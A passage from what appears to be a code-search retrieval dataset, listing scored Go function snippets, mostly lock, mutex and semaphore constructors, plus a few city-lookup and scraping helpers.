"83690fe0e064125f38d67698782af4b6", "score": "0.52563286", "text": "func newLockedMutableState(\n\tmutableState workflow.MutableState,\n\tversion int64,\n\treleaseFunc cache.ReleaseCacheFunc,\n) *lockedMutableState {\n\treturn &lockedMutableState{\n\t\tMutableState: mutableState,\n\t\tLastWriteVersion: version,\n\t\tRelease: releaseFunc,\n\t}\n}", "title": "" }, { "docid": "f5ca1331f3defd504d3ef89aaa44e92d", "score": "0.5249982", "text": "func (m *Mercury) CreateLock(key string, ttl time.Duration) (lock.DistributedLock, error) {\n\tlockKey := fmt.Sprintf(\"%s/%s\", m.config.Etcd.LockPrefix, key)\n\tmutex, err := etcdlock.New(m.cliv3, lockKey, ttl)\n\treturn mutex, err\n}", "title": "" }, { "docid": "73d415d93cf7cf71cc933ae59bb88468", "score": "0.52493334", "text": "func NewLock(l *kvrpcpb.LockInfo) *Lock {\n\treturn txnlock.NewLock(l)\n}", "title": "" }, { "docid": "b0ae73a583848ead5dd0c9c742a7af84", "score": "0.5229931", "text": "func newSemaphore(maxConcurrency int) *semaphore {\n\treturn &semaphore{\n\t\tsemC: make(chan struct{}, maxConcurrency),\n\t}\n}", "title": "" }, { "docid": "46d721c24a481f4d03759654181b7bee", "score": "0.521153", "text": "func New(path string) (Lockfile, error) {\n\tif !filepath.IsAbs(path) {\n\t\treturn lockfileImpl {\"\", \"\"}, ErrNeedAbsPath\n\t}\n\n\treturn lockfileImpl {path, path + \".expire\"}, nil\n}", "title": "" }, { "docid": "9d7d065919f19c9a202fcbee253c0b87", "score": "0.51656955", "text": "func New() bot.Module {\n\treturn &module{\n\t\tmutex: &sync.Mutex{},\n\t}\n}", "title": "" }, { "docid": "431aaaf4da6310f25ce077b77122fbfb", "score": "0.51503813", "text": "func New(n int) *NLock {\n\tif n <= 0 {\n\t\tpanic(fmt.Sprintf(\"Bad n: %v, needs to be at least 1.\", n))\n\t}\n\treturn &NLock{sync.NewCond(&sync.Mutex{}), n, 0}\n}", "title": "" }, { "docid": "a24c79eebdc8bf8d529d9706808b22c0", "score": "0.5146697", "text": "func NewMock(t testing.TB) *Mock {\n\treturn NewMockAt(t, time.Now())\n}", "title": "" }, { "docid": "9b148df5eef72e002060e89388bcd8eb", "score": "0.513694", "text": "func NewKeyMutex(maxDuration time.Duration, delayFactor int) *KeyMutex {\n\treturn &KeyMutex{\n\t\tkeys: make(map[interface{}]interface{}),\n\t\tmutex: &sync.Mutex{},\n\t\tmaxDuration: maxDuration,\n\t\tdelayFactor: delayFactor,\n\t}\n}", "title": "" }, { "docid": "106878ce1995734aaeef3effe2ea4b86", "score": "0.5130913", "text": "func New(u *url.URL) (godilock.DLocker, error) {\n\treturn &LockManager{\n\t\tmux: &sync.Mutex{},\n\t\tlocked: make(map[string]time.Time),\n\t}, nil\n}", "title": "" }, { "docid": "4a896b3cba6bbb8962967f3329a46832", "score": "0.5121181", "text": "func NewHashMutex() *HashMutex {\n\treturn &HashMutex{\n\t\tmutexes: make(map[lntypes.Hash]*cntMutex),\n\t}\n}", "title": "" }, { "docid": "a3f50c40f6125d37f00efe33cc211968", "score": "0.50905395", "text": "func New(path string) (TryLockerSafe, error) {\n\tif !filepath.IsAbs(path) {\n\t\treturn nil, ErrNeedAbsPath\n\t}\n\tfile, err := open(path, os.O_WRONLY)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tl := &lock{\n\t\tpath: path,\n\t\tfd: int(file.Fd()),\n\t\tfile: file,\n\t}\n\treturn l, nil\n}", "title": "" }, { "docid": "dab1a27abd1f4b33e2077d37c794450d", "score": "0.50768477", "text": "func (self * Mutex) toC() *C.ALLEGRO_MUTEX {\n return (*C.ALLEGRO_MUTEX)(self.handle)\n}", "title": "" }, { "docid": "7c2a069f4f6ca499089a4ace8c9772c2", "score": "0.5060574", "text": "func (_m *walletOperateMock) GetMutex() *sync.Mutex {\n\treturn nil\n}", "title": "" }, { "docid": "770219026e718c8e1fb2e4bbd30c1d60", "score": "0.50417113", "text": "func New(nrOfSlots int) SlotProvider {\n\treturn NewWithMutex(nrOfSlots)\n}", "title": "" }, { "docid": "ed0bee8d4c09eee9311d7d0cbd9bb0e7", "score": "0.49801406", "text": "func Create(filename string) (*Lock, error) {\n\treturn &Lock{filename: filename}, nil\n}", "title": "" }, { "docid": "a89b0def328563a8cec53b73699d0cfb", "score": "0.49784938", "text": "func New(redisClient *redis.Client, keyLock, keyReadersCount, keyWriterIntent string, opts *Options) Locker {\n\tif opts == nil {\n\t\topts = &Options{}\n\t}\n\treturn rwlock.New(redisClient, keyLock, keyReadersCount, keyWriterIntent, *opts)\n}", "title": "" }, { "docid": "5632c06c41d7b369015eacc0a707d37f", "score": "0.4931453", "text": "func (store FileStore) newLock(id string) (lockfile.Lockfile, error) {\n\tpath, err := filepath.Abs(filepath.Join(store.Path, id+\".lock\"))\n\tif err != nil {\n\t\treturn lockfile.Lockfile(\"\"), err\n\t}\n\n\t// We use Lockfile directly instead of lockfile.New to bypass the unnecessary\n\t// check whether the provided path is absolute since we just resolved it\n\t// on our own.\n\treturn lockfile.Lockfile(path), nil\n}", "title": "" }, { "docid": "4a5d6fd249fc8ff099fae37b375743c2", "score": "0.49306858", "text": "func New() *SyncBuffer {\n\treturn &SyncBuffer{\n\t\tdone: make(chan struct{}),\n\t}\n}", "title": "" }, { "docid": "25bea451865d2a1f2a1239d5b4dc740c", "score": "0.49297732", "text": "func NewLockGroup() *LockGroup {\n\tret := &LockGroup{\n\t\tch: make(chan map[string]*lockGroupElement),\n\t}\n\tret.send(map[string]*lockGroupElement{})\n\treturn ret\n}", "title": "" }, { "docid": "c22f50bc46c327fd13fa1c3f0c74dcb6", "score": "0.49185178", "text": "func NewSemaphore() *Semaphore {\n\treturn &Semaphore{\n\t\tonRelease: make(chan struct{}),\n\t}\n}", "title": "" }, { "docid": "c23e1dad504566c1ac942ae3ed6e50dc", "score": "0.49108437", "text": "func NewMutexMap(ctx context.Context, db *sql.DB, options ...MutexMapOption) (*MutexMap, error) {\n\tmmo := &mutexMapOptions{\n\t\tmaxLocalWaiters: -1,\n\t}\n\tfor _, o := range options {\n\t\to(mmo)\n\t}\n\tif mmo.maxLocalWaiters < -1 {\n\t\tmmo.maxLocalWaiters = -1\n\t}\n\tif mmo.allocator == nil {\n\t\tmmo.allocator = dbMutexAllocator\n\t}\n\n\tmo := initMutexOptions(mmo.mutexOptions...)\n\tdrv := mo.driver\n\tvar err error\n\tif drv == nil && (!mmo.delayResolveDriver || !mmo.delayCreateMissingTable) {\n\t\tdrv, err = driver.ResolveDriver(ctx, db)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// Add the revolved driver to the list of mutex creation options so that we don't have to\n\t\t// resolve it on creation of every Mutex.\n\t\tmmo.mutexOptions = append(mmo.mutexOptions, WithDriver(drv))\n\t}\n\tif mo.createMissingTable && !mmo.delayCreateMissingTable {\n\t\terr = createMutexTableIfNotExists(ctx, db, drv, mo.tableName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// Configure Mutex to not create table since we just created it.\n\t\tmmo.mutexOptions = append(mmo.mutexOptions, WithCreateMissingTable(false))\n\t}\n\tmmo.mutexOptions = append(mmo.mutexOptions, WithDelayAddMutexRow(true))\n\n\treturn &MutexMap{\n\t\toptions: mmo,\n\t\tdb: db,\n\t\tcountedMutexes: make(map[string]*countedMutex),\n\t}, nil\n}", "title": "" }, { "docid": "571ef543c3261488ce89f2145ca4051f", "score": "0.49015754", "text": "func NewLocker() *locker {\n\treturn &locker{\n\t\tl: make(map[job.Job][]byte),\n\t}\n}", "title": "" }, { "docid": "96529c8f570880878e8483125c0a44b1", "score": "0.48588067", "text": "func NewLocker(timeout time.Duration, view views.StateLocker) Locker {\n\treturn &locker{\n\t\tctx: context.Background(),\n\t\ttimeout: timeout,\n\t\tview: view,\n\t}\n}", "title": "" }, { "docid": "e8a302879c2c4f0202a6a06f6e330d20", "score": "0.4858562", "text": "func NewToken (\n accessToken, tokenType, refreshToken, scope, userId string, expiresIn int32,\n) Token {\n if !_verifyTokenConditions (\n accessToken, tokenType, refreshToken, scope, expiresIn,\n ) {\n return nil\n }\n\n return &_Token {\n accessToken: accessToken,\n tokenType: tokenType,\n refreshToken: refreshToken,\n scope: scope,\n userId: userId,\n expiresIn: expiresIn,\n }\n}", "title": "" }, { "docid": "5e4ac7dfc736d91c68881beb21d069e7", "score": "0.4856353", "text": "func New(main cptr.Function, stop Stopper) Thread {\n\treturn &threadImpl{\n\t\tmain: main,\n\t\tstop: stop,\n\t\tstopped: make(chan struct{}),\n\t}\n}", "title": "" }, { "docid": "e1873f26108de3f10a98d476e310ce7f", "score": "0.48346564", "text": "func NewLocks() *Locks {\n\treturn &Locks{\n\t\tlock: new(sync.Mutex),\n\t\tlocks: make(map[string]*Lock),\n\t\tcounts: make(map[string]int),\n\t}\n}", "title": "" }, { "docid": "442c62fc218e872ac83b1960da38cec9", "score": "0.48314792", "text": "func New() error {\n\ttpm, err := tss.NewTPM()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"couldn't talk to TPM Device: err=%v\", err)\n\t}\n\n\ttpmHandle = tpm\n\treturn nil\n}", "title": "" }, { "docid": "8283fdf98d02589a5408266f39f56cb9", "score": "0.48268446", "text": "func (s *Zookeeper) NewLock(key string, options *LockOptions) (Locker, error) {\n\tvalue := []byte(\"\")\n\n\t// Apply options\n\tif options != nil {\n\t\tif options.Value != nil {\n\t\t\tvalue = options.Value\n\t\t}\n\t}\n\n\treturn &zookeeperLock{\n\t\tclient: s.client,\n\t\tkey: normalize(key),\n\t\tvalue: value,\n\t\tlock: zk.NewLock(s.client, normalize(key), zk.WorldACL(zk.PermAll)),\n\t}, nil\n}", "title": "" }, { "docid": "39846232bd00632cb98b9e0c7693efd0", "score": "0.4820065", "text": "func NewMemoryLocker() *MemoryLocker {\n\treturn &MemoryLocker{\n\t\tnameLocks: make(map[string]*MemoryWaiter),\n\t\tnameLocksMu: new(sync.Mutex),\n\t}\n}", "title": "" }, { "docid": "3de4c6f8e80f8af9382b0bb983fe40d6", "score": "0.48174742", "text": "func NewResourceLock(creator func() Locker) *ResourceLock {\n\treturn &ResourceLock{&sync.Mutex{}, make(map[string]*HierarchicalLock), creator}\n}", "title": "" }, { "docid": "3de4c6f8e80f8af9382b0bb983fe40d6", "score": "0.48174742", "text": "func NewResourceLock(creator func() Locker) *ResourceLock {\n\treturn &ResourceLock{&sync.Mutex{}, make(map[string]*HierarchicalLock), creator}\n}", "title": "" }, { "docid": "ffd7625576feb1faaedb10add727a05b", "score": "0.48174062", "text": "func NewPipe() *Pipe {\n\treturn &Pipe{\n\t\tcond: sync.NewCond(new(sync.Mutex)),\n\t}\n}", "title": "" }, { "docid": "d7b577ab15298cf7b6cd79a0f804f831", "score": "0.4805766", "text": "func newLockInfo(r *http.Request) *lockInfo {\n\tcreationDate := time.Now()\n\n\tvar lockReq *lockInfo = &lockInfo{\n\t\tactive: true,\n\t\tcreated: creationDate,\n\t\trefreshed: creationDate,\n\t\tip: getIP(r.RemoteAddr),\n\t\tmutex: nsync.NewTryMutex(),\n\t}\n\n\treturn lockReq\n}", "title": "" }, { "docid": "392c2471a403aeb20c368effc09a5df3", "score": "0.4805735", "text": "func (dlp *kvLockProvider) NewLocker(name string) Locker {\n\tif dlp.lease == nil {\n\t\tpanic(\"kvLockProvider: NewLocker() is called for non-initialized component\")\n\t}\n\n\tlock := new(kvLock)\n\tlock.dlp = dlp\n\tlock.lockCh = make(chan bool, 1)\n\tlock.lockCh <- true\n\tlock.key = kv.Key(dlp.path + name)\n\n\treturn lock\n}", "title": "" }, { "docid": "19ff4c6dbf7a5d9d48d88c343c58bd5f", "score": "0.47951904", "text": "func New(main cptr.Function, stop Stopper) Thread {\n\treturn &threadImpl{\n\t\tmain: main,\n\t\tstop: stop,\n\t}\n}", "title": "" }, { "docid": "0652e790b3e3a1fe293807959ed92b1f", "score": "0.47847486", "text": "func New() Clock {\n\treturn &clock{}\n}", "title": "" }, { "docid": "c4a11c8fe51f7b85a9427842c1ce51fd", "score": "0.4784434", "text": "func NewReentrantLock() *ReentrantLock {\n\treturn &ReentrantLock{AbstractQueuedSynchronizer: NewAQS()}\n}", "title": "" }, { "docid": "fb2c8c0896615b3497328dd2b6a5d1e5", "score": "0.47744295", "text": "func NewMySQLLock(user, password, host string, port string) *MySQLLock {\n\tdb, err := sql.Open(\"mysql\", fmt.Sprintf(dsn, user, password, host, port))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn &MySQLLock{db}\n}", "title": "" }, { "docid": "ce8378d4784c866b0613e2b492aea962", "score": "0.4770709", "text": "func newQueue() *queue {\n\tlock := new(sync.Mutex)\n\treturn &queue{\n\t\theaderPendPool: make(map[string]*fetchRequest),\n\t\theaderContCh: make(chan bool),\n\t\tactive: sync.NewCond(lock),\n\t\tlock: lock,\n\t}\n}", "title": "" }, { "docid": "10ff4d8d548f972422d19b28488df7ad", "score": "0.47706142", "text": "func New(filename string, maxsize int64) (w *RotateWriter, err error) {\n\tw = &RotateWriter{filename: filename, maxsize: maxsize}\n\tw.fp, err = os.OpenFile(filename, syscall.O_RDWR|syscall.O_CREAT, 0666)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn w, nil\n}", "title": "" }, { "docid": "9260fdab33d6da71bf7f85b9b527a2c7", "score": "0.47658905", "text": "func CloseableMutex() Closeable {\n\treturn NewCloseable(1)\n}", "title": "" }, { "docid": "959af5ad8e79fae7bde5997cae8c7387", "score": "0.47501892", "text": "func (ddb *Dynalock) NewLock(ctx context.Context, key string, options ...LockOption) (Locker, error) {\n\tvar (\n\t\tvalue *dynamodb.AttributeValue\n\t\tttl = DefaultLockTTL\n\t\trenewCh = make(chan struct{})\n\t)\n\n\tlockOptions := NewLockOptions(options...)\n\n\tif lockOptions.ttl != 0 {\n\t\tttl = lockOptions.ttl\n\t}\n\tif lockOptions.value != nil {\n\t\tvalue = lockOptions.value\n\t}\n\tif lockOptions.renewLock != nil {\n\t\trenewCh = lockOptions.renewLock\n\t}\n\n\treturn &DynamodbLock{\n\t\tddb: ddb,\n\t\tlast: nil,\n\t\tkey: key,\n\t\tvalue: value,\n\t\tttl: ttl,\n\t\trenewCh: renewCh,\n\t\tunlockCh: make(chan struct{}),\n\t}, nil\n}", "title": "" }, { "docid": "10b5aa87467a0303f5acdb23f655781e", "score": "0.47471106", "text": "func NewSemaphore(auth string) *Semaphore {\n\tlogger := log.New(ioutil.Discard, \"\", log.LstdFlags)\n\treturn NewSemaphoreWithLogger(auth, logger)\n}", "title": "" }, { "docid": "675500c7e438511f1bc4a10276ed7f52", "score": "0.47320762", "text": "func newSignal() *signal {\n\twg := &sync.WaitGroup{}\n\twg.Add(1)\n\treturn &signal{wg: wg}\n}", "title": "" }, { "docid": "c42d1dd613f6ad2a59f650646e809056", "score": "0.47175187", "text": "func newMemContext(nameGen newNameGen) *memContext {\n\treturn &memContext{mux: &sync.Mutex{}, file: nameGen(), nameGenerator: nameGen}\n}", "title": "" }, { "docid": "1c1bb0ae9c3527a703a03b943d1e6982", "score": "0.46897683", "text": "func New(baseParams *BaseParams, params data.Map) (core.SharedState, error) {\n\tbs, err := NewBase(baseParams, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstate := state{\n\t\tbase: bs,\n\t}\n\t// check if we have a writable state\n\tif bs.params.WriteMethodName != \"\" {\n\t\treturn &writableState{\n\t\t\t// Although this copies a RWMutex, the mutex isn't being locked at\n\t\t\t// the moment and it's safe to copy it now.\n\t\t\tstate: state,\n\t\t}, nil\n\t}\n\treturn &state, nil\n}", "title": "" }, { "docid": "c6155ce2204230d4316673ae4b831226", "score": "0.46731448", "text": "func NewClock(t mockConstructorTestingTNewClock) *Clock {\n\tmock := &Clock{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "title": "" }, { "docid": "8d150b23362c8eed27bda4ed48bf4f2b", "score": "0.4664442", "text": "func NewConcurrent(t require.TestingT) *ConcurrentT {\n\treturn &ConcurrentT{\n\t\tt: t,\n\t\tstages: make(map[string]*stage),\n\t\tfailedCh: make(chan struct{}),\n\t}\n}", "title": "" }, { "docid": "3ac0a73357babc594236089b2176e7f1", "score": "0.4646863", "text": "func NewSynchronizationTemplate()(*SynchronizationTemplate) {\n m := &SynchronizationTemplate{\n Entity: *NewEntity(),\n }\n return m\n}", "title": "" }, { "docid": "159cb4b2dcb224cd9aaa03301a0a4ce1", "score": "0.46399808", "text": "func NewMMR(t NewMMRT) *MMR {\n\tmock := &MMR{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "title": "" }, { "docid": "b32e5c4c90f2897ca9e593fa63a46e04", "score": "0.46384415", "text": "func New(m *Master, s *Slave) (*Metre, error) {\n\tmsgChan := make(chan string)\n\treturn &Metre{msgChan, m, s}, nil\n}", "title": "" }, { "docid": "c0d2a6150124c490086bd039a6d7cc90", "score": "0.46378073", "text": "func NewSemaphore(permits int) (*semaphore, error) {\n\tif permits < 1 {\n\t\treturn nil, errors.New(\"invalid number of permits. Less than 1\")\n\t}\n\treturn &semaphore{\n\t\tchannel: make(chan struct{}, permits),\n\t}, nil\n}", "title": "" }, { "docid": "63f634a3dac4afb6e69f4d6660c2a52b", "score": "0.46287555", "text": "func New() *WaitGroup {\n\treturn &WaitGroup{\n\t\twg: &sync.WaitGroup{},\n\t\tcalls: make(map[string]int),\n\t}\n}", "title": "" }, { "docid": "ad1c5bea4856182926f417f7c49b3a85", "score": "0.4620078", "text": "func NewMock() *Mock {\n\treturn &Mock{}\n}", "title": "" }, { "docid": "0c502a076018904cc3d1df8e11992257", "score": "0.4612885", "text": "func newCondWakeup(locker sync.Locker) *condwakeup {\n\treturn &condwakeup{L: locker}\n}", "title": "" }, { "docid": "fb5f937ce1e353594eb9e105290f051f", "score": "0.46100852", "text": "func NewLockedWriter(w io.Writer) *LockedWriter {\n\treturn &LockedWriter{Writer: w}\n}", "title": "" }, { "docid": "5f21dc1343fa487ef1bd91b8e710de89", "score": "0.46059182", "text": "func NewMock() *Mock {\n\treturn &Mock{now: time.Unix(0, 0)}\n}", "title": "" }, { "docid": "ea5ee484cc14d6f35834c61748cac48f", "score": "0.46039814", "text": "func MeminfoNew() (*Meminfo, error) {\n\tc := C.meminfo_get()\n\tif c == nil {\n\t\treturn nil, getErrorString()\n\t}\n\treturn wrapMeminfo(c), nil\n}", "title": "" }, { "docid": "a56c65d29daf776adf0ee8783597ad24", "score": "0.45958176", "text": "func NewSync(ctx *middleware.Context, handler SyncHandler) *Sync {\n\treturn &Sync{Context: ctx, Handler: handler}\n}", "title": "" }, { "docid": "44898d431d0bdd4b24a53a3278f698e5", "score": "0.4593164", "text": "func Make(redisClient *redis.Client, keyLock, keyReadersCount, keyWriterIntent string, opts *Options) Locker {\n\treturn New(redisClient, keyLock, keyReadersCount, keyWriterIntent, opts)\n}", "title": "" }, { "docid": "25c7f8c4eee77c552824cb85afad023f", "score": "0.45889676", "text": "func (m TokenModel) New(userID int64, ttl time.Duration, scope string) (*Token, error) {\n\n\ttoken, err := generateToken(userID, ttl, scope)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = m.Insert(token)\n\treturn token, err\n}", "title": "" }, { "docid": "99b0e9c2cac14073a215fc0f594374ca", "score": "0.45561314", "text": "func NewLockCache(size int) Cache {\n\tif size <= 0 {\n\t\tpanic(\"lur: must provide a positive num\")\n\t}\n\n\treturn &lockCache{\n\t\tcache: cache{\n\t\t\tlru: list.New(),\n\t\t\titems: make(map[interface{}]*list.Element),\n\t\t\tsize: size,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "d8ae05c2713fa518caf3d25322c9fadc", "score": "0.45548463", "text": "func newMantle(name string) (*Mantle, error) {\n\tcoreDir := filepath.Join(botDir, \"mantle_\"+name)\n\terr := os.MkdirAll(coreDir, 0700)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating core directory: %v\", err)\n\t}\n\tdbPath := filepath.Join(coreDir, \"core.db\")\n\tc, err := core.New(&core.Config{\n\t\tDBPath: dbPath,\n\t\tNet: dex.Simnet,\n\t\tLogger: loggerMaker.Logger(\"CORE:\" + name),\n\t\tNoAutoWalletLock: true,\n\t\t// UnlockCoinsOnLogin: true, // true if we are certain that two bots/Core's are not using the same external wallet\n\t\tNoAutoDBBackup: true,\n\t})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error initializing core: %w\", err)\n\t}\n\n\twaiter := dex.NewStartStopWaiter(c)\n\twaiter.Start(ctx)\n\n\terr = c.InitializeClient(pass, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize client\")\n\t}\n\n\tm := &Mantle{\n\t\tCore: c,\n\t\twaiter: waiter,\n\t\tname: name,\n\t\tlog: loggerMaker.Logger(\"MANTLE:\" + name),\n\t\twallets: make(map[uint32]*botWallet),\n\t\tnotes: c.NotificationFeed().C,\n\t}\n\n\treturn m, nil\n}", "title": "" }, { "docid": "7e119276380b953a7f2597942c8d4ff8", "score": "0.45400575", "text": "func NewClock(branch string) *Clock {\n\treturn &Clock{branch, 0}\n}", "title": "" }, { "docid": "bff1387351e6fee69d7d8df5253374c9", "score": "0.45376924", "text": "func New(input string) (*Matrix, error) {\n\ttable, err := createTable(input)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Matrix{table: table}, nil\n}", "title": "" }, { "docid": "bd34b89885c20aa7af7615132901e5a6", "score": "0.45338014", "text": "func MakeSafe(c Ctor, m *sync.Mutex) Ctor {\n\treturn &safeCtor{m, c}\n}", "title": "" } ]
be706c1efc5bb816e99c8cc5b2a4a83a
getCityInfo calculates the information of a city after its scraping and sends it through the channel c.
[ { "docid": "d2d60fed130cef9e8937011bbe403128", "score": "0.77365667", "text": "func getCityInfo(u url.URL, c chan numbeo.CityInfo) {\n\tci, err := numbeo.GetCityInfo(u)\n\tif err != nil {\n\t\tlog.Printf(\"numbeo.GetCityInfo(%q) error: %v\", u.String(), err)\n\t}\n\tc <- ci\n}", "title": "" } ]
[ { "docid": "e3881636bf1ba2e762834ea343cef3c1", "score": "0.6168545", "text": "func GetCity(ip net.IP) (string, error) {\n\treturn c.GetCity(ip)\n}", "title": "" }, { "docid": "d7fd0ddecf91ff1aa3ba500cf8016b5d", "score": "0.61412746", "text": "func (c *Client) GetCity(ip net.IP) (string, error) {\n\ts := \"city\"\n\tif ip != nil {\n\t\ts = ip.String() + \"/\" + s\n\t}\n\treq, err := c.NewRequest(s)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tv := new(bytes.Buffer)\n\t_, err = c.Do(req, v)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tvs := strings.TrimSpace(v.String())\n\tif vs == \"undefined\" {\n\t\tvs = \"\"\n\t}\n\treturn vs, nil\n}", "title": "" }, { "docid": "baa52700d6c2a71453a38880c341d3e1", "score": "0.5900453", "text": "func (h *Handler) city(channelID, discordID, city string) string {\n\t// check channel is allowed for game\n\tif h.cfg.Bot.CityChanID != \"\" && channelID != h.cfg.Bot.CityChanID {\n\t\tdenyChan, _ := h.localizer.Localize(&i18n.LocalizeConfig{\n\t\t\tMessageID: \"city.denyChan\",\n\t\t})\n\t\treturn denyChan\n\t}\n\t// check game already started on channel\n\tgame, ok := games[channelID]\n\tif !ok {\n\t\tgame = newCityGame()\n\t\tgames[channelID] = game\n\t}\n\n\tcityTitle := strings.Title(city)\n\n\t_, alreadyGuessed := game.prevCities[city]\n\tif alreadyGuessed {\n\t\tguessedMsg, _ := h.localizer.Localize(&i18n.LocalizeConfig{\n\t\t\tMessageID: \"city.alreadyGuessed\",\n\t\t\tTemplateData: map[string]string{\n\t\t\t\t\"CityTitle\": cityTitle,\n\t\t\t},\n\t\t})\n\t\treturn guessedMsg\n\t}\n\n\t// start game\n\tif game.prevCity == \"\" {\n\t\tgame.prevCity = city\n\t\tgame.prevAuthorID = discordID\n\t\tgame.prevTime = time.Now()\n\t\tgame.prevCities[city] = void\n\t\tstartMsg, _ := h.localizer.Localize(&i18n.LocalizeConfig{\n\t\t\tMessageID: \"city.startMsg\",\n\t\t\tTemplateData: map[string]string{\n\t\t\t\t\"StartLetter\": strings.ToUpper(getLastChar(game.prevCity)),\n\t\t\t},\n\t\t})\n\t\treturn startMsg\n\t}\n\n\tlastChar := getLastChar(game.prevCity)\n\tif !strings.HasPrefix(city, lastChar) {\n\t\tshouldStart, _ := h.localizer.Localize(&i18n.LocalizeConfig{\n\t\t\tMessageID: \"city.shouldStart\",\n\t\t\tTemplateData: map[string]string{\n\t\t\t\t\"StartLetter\": strings.ToUpper(lastChar),\n\t\t\t},\n\t\t})\n\t\treturn shouldStart\n\t}\n\n\texists, _ := h.repository.CityExist(city)\n\tif !exists {\n\t\tnotExists, _ := h.localizer.Localize(&i18n.LocalizeConfig{\n\t\t\tMessageID: \"city.notExists\",\n\t\t\tTemplateData: map[string]string{\n\t\t\t\t\"CityTitle\": cityTitle,\n\t\t\t},\n\t\t})\n\t\treturn notExists\n\t}\n\n\tscore := scoreAccrual(game, discordID)\n\terr := h.repository.AddScore(discordID, score)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to change score for userID: %v, %v\\n\", discordID, err)\n\t}\n\n\tgame.prevCity = city\n\tgame.prevAuthorID = discordID\n\tgame.prevTime = time.Now()\n\tlastChar = getLastChar(game.prevCity)\n\n\twinMsg, _ := h.localizer.Localize(&i18n.LocalizeConfig{\n\t\tMessageID: \"city.winMsg\",\n\t\tTemplateData: map[string]string{\n\t\t\t\"StartLetter\": strings.ToUpper(lastChar),\n\t\t\t\"Score\": strconv.Itoa(score),\n\t\t},\n\t\tPluralCount: score,\n\t})\n\treturn winMsg\n}", "title": "" }, { "docid": "1397545abe8da0e1f9042647637896ed", "score": "0.5880232", "text": "func (svc *Rekognition) getCelebrityInfo(input *SDK.GetCelebrityInfoInput) (*CelebrityInfoResponse, error) {\n\top, err := svc.client.GetCelebrityInfo(input)\n\tif err != nil {\n\t\tsvc.Errorf(\"error on `GetCelebrityInfo` operation; error=%s;\", err.Error())\n\t\treturn &CelebrityInfoResponse{}, err\n\t}\n\n\treturn NewCelebrityInfoResponseFromAWSOutput(op), nil\n}", "title": "" }, { "docid": "8f58f6d089a1a6542d3a061d3907ad7d", "score": "0.58518565", "text": "func GetCity(partnerID, requestTimestamp, signature, provinceID string) (listcity []CityType, responseCode string, err error) {\n\t//init logger for logging\n\tlogger := logging.SetVariable(map[string]interface{}{\n\t\t\"partnerID\": partnerID,\n\t\t\"requestTimestamp\": requestTimestamp,\n\t\t\"signature\": signature,\n\t\t\"provinceID\": provinceID,\n\t})\n\n\tlistcity = []CityType{}\n\tresponseCode = lookup.GENERALERROR\n\n\tresponse, err := external.ParamClient.City(context.Background(), partnerID, requestTimestamp, signature, provinceID)\n\tif err != nil {\n\t\tlogger.Error(err, \"error get city from grpc\")\n\t}\n\n\tif response == nil {\n\t\tresponseCode = lookup.SERVICEERROR\n\t\treturn\n\t}\n\n\tresponseCode = response.GetResponseCode()\n\n\tif responseCode == lookup.SUCCESS {\n\t\tif len(response.City) > 0 {\n\t\t\tfor _, value := range response.City {\n\t\t\t\tlistcity = append(listcity, CityType{\n\t\t\t\t\tCityID: value.CityID,\n\t\t\t\t\tCity: value.City,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "74c10b308882413123edf39f49bcff3f", "score": "0.57903856", "text": "func (s *Service) ipInfoc(mobiApp, usermob, ip string, build int, isValide bool, now time.Time) {\n\tselect {\n\tcase s.logCh <- ipInfoc{usermob, strconv.FormatBool(isValide), ip, mobiApp, strconv.Itoa(build), strconv.FormatInt(now.Unix(), 10)}:\n\tdefault:\n\t\tlog.Warn(\"ipInfoc log buffer is full\")\n\t}\n}", "title": "" }, { "docid": "ab2192701bee5e34ad4da19fb44eab45", "score": "0.57373875", "text": "func (o *CompanyFiscalInfoAddressResponse) GetCity() string {\n\tif o == nil || IsNil(o.City) {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.City\n}", "title": "" }, { "docid": "650001546aff38534441f505a9944eb0", "score": "0.5731075", "text": "func GetCityUrls(url string, itemch chan<- interface{}) {\n\n\tlog.Info(\"Searching city\")\n\tres, _ := http.Get(url)\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tfmt.Printf(\"捕获到的错误:%s\\n\", r)\n\t\t}\n\t}()\n\tdefer res.Body.Close()\n\tif res.StatusCode != 200 {\n\t\tstr := fmt.Sprintf(\"status code error: %d %s\", res.StatusCode, res.Status)\n\t\tlog.Fatal(str, nil)\n\t}\n\n\t// Load the HTML document\n\tdoc, err := goquery.NewDocumentFromReader(res.Body)\n\tif err != nil {\n\t\tlog.Fatal(\"Document read error:\", err)\n\n\t}\n\tfmt.Println(res.Body)\n\tlog.Info(\"Document read success\")\n\tvar city map[string](map[string]string)\n\t// Find the review items\n\tdoc.Find(\"script\").Each(func(j int, proSelection *goquery.Selection) {\n\t\tprovince := proSelection.Text()\n\t\tstrList := strings.Split(province, \"=\")\n\t\tif len(strList) < 4 {\n\t\t\treturn\n\t\t}\n\t\tfmt.Println(\"len of script is:\", len(strList))\n\t\tif err := json.Unmarshal([]byte(strList[3]), &city); err == nil {\n\t\t\tfmt.Println(city)\n\t\t} else {\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t\tcopeCityJSON(city, itemch)\n\t})\n\tlog.Info(\"Document read failed\")\n}", "title": "" }, { "docid": 